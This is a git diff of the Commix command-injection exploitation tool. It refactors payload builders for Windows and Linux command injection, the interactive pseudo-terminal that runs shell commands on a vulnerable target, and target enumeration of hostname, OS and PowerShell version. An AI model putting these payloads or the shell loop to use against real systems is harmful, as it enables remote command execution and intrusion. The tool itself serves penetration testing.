the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - #print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # Command execution results. - time.sleep(timesec) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - try: - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - except: - print(settings.SINGLE_WHITESPACE) - continue - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = unescape(shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 4db4c93717..5f8c774cff 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,305 +3,38 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import json -import string -import random -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.results_based.techniques.classic import cb_payloads -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - if " " in payload: - payload = payload.replace(" ","%20") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Get the response of the request. - response = requests.get_request_response(request) - - return response, vuln_parameter - -""" -Evaluate test results. -""" -def injection_test_results(response, TAG, randvcalc): - if response == False: - return False - else: - # Check the execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + TAG + TAG, html_data) - else: - shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) - if len(shell) > 1: - shell = shell[0] - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) +For more see the file 'readme/COPYING' for copying permission. """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +from src.core.injections.controller import injector """ -Check if target host is vulnerable. (Host-based injection) +The "classic" technique on result-based OS command injection. """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) """ -Check if target host is vulnerable. (Custom header injection) +Evaluate test results. """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - if alter_shell: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request. - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") - raise SystemExit() - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ The command execution results. """ -def injection_results(response, TAG, cmd): - - false_result = False - try: - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") - # cleanup string / unescape html to string - html_data = _urllib.parse.unquote(html_data) - html_data = unescape(html_data) - - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) - - for end_line in settings.END_LINE: - if end_line in html_data: - html_data = html_data.replace(end_line, " ") - break - - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data) - if not shell: - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) - if not shell: - return shell - try: - if TAG in shell: - shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) - # Clear junks - shell = [tags.replace(TAG + TAG , " ") for tags in shell] - shell = [backslash.replace("\/","/") for backslash in shell] - except UnicodeDecodeError: - pass - if settings.TARGET_OS == "win": - if menu.options.alter_shell: - shell = [right_space.rstrip() for right_space in shell] - shell = [left_space.lstrip() for left_space in shell] - if "<<<<" in shell[0]: - false_result = True - else: - if shell[0] == "%i" : - false_result = True - - except AttributeError: - false_result = True - - if false_result: - shell = "" - - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index de3074846e..58bf283136 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -24,83 +24,64 @@ Classic decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + TAG + TAG + "< nul" + "echo " + TAG + TAG + TAG + settings.CMD_NUL ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = " + TAG + "%i" + TAG + TAG + "< nul" - ) + "for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL + ) else: - if not settings.WAF_ENABLED: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" + if settings.USE_BACKTICKS or settings.WAF_ENABLED: + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " %2B " + str(randv2) + settings.CMD_SUB_SUFFIX else: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")" + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "%2B" + str(randv2) + "))" if settings.SKIP_CALC: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" - ) + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) else: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - math_calc + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - math_calc + - "$(echo " + TAG + ")" + TAG + "" - ) + payload = (separator + + "echo " + TAG + + math_calc + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - if settings.SKIP_CALC: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "'\"" + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.SKIP_CALC: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" - + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" + payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do @set /p =%i< nul" + "') do @set /p=%i " + settings.CMD_NUL ) else: if settings.SKIP_CALC: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + - TAG + - TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + + TAG + + TAG + "')\"" ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + - "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + - TAG + "'%2B'" + - TAG + "'\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + + TAG + "'%2B'" + + TAG + "')\"" ) return payload @@ -108,65 +89,53 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + "< nul" + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - - # if not settings.WAF_ENABLED: - # cmd_exec = "$(echo $(" + cmd + "))" - # else: - - if settings.USE_BACKTICKS: - cmd_exec = "`" + cmd + "`" - payload = (separator + - "echo " + TAG + - "" + TAG + "" + - cmd_exec + - "" + TAG + "" + TAG + "" - ) - else: - cmd_exec = "$(" + cmd + ")" - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + - cmd_exec + - "$(echo " + TAG + ")" + TAG + "" - ) + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + cmd_exec + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('" + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + - "') do @set /p =%i< nul" + "for /f \"tokens=*\" %i in ('" + + settings.WIN_PYTHON_INTERPRETER + + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + + "') do @set /p=%i " + settings.CMD_NUL ) - else: - - if settings.USE_BACKTICKS: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\"" - ) - else: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\"" - ) + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'%2B'" + + TAG + "'%2B'" + TAG + "')\"" + ) return payload # eof diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py deleted file mode 100755 index d5dfec486c..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ /dev/null @@ -1,593 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "The hostname is " + str(shell) + "." - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, 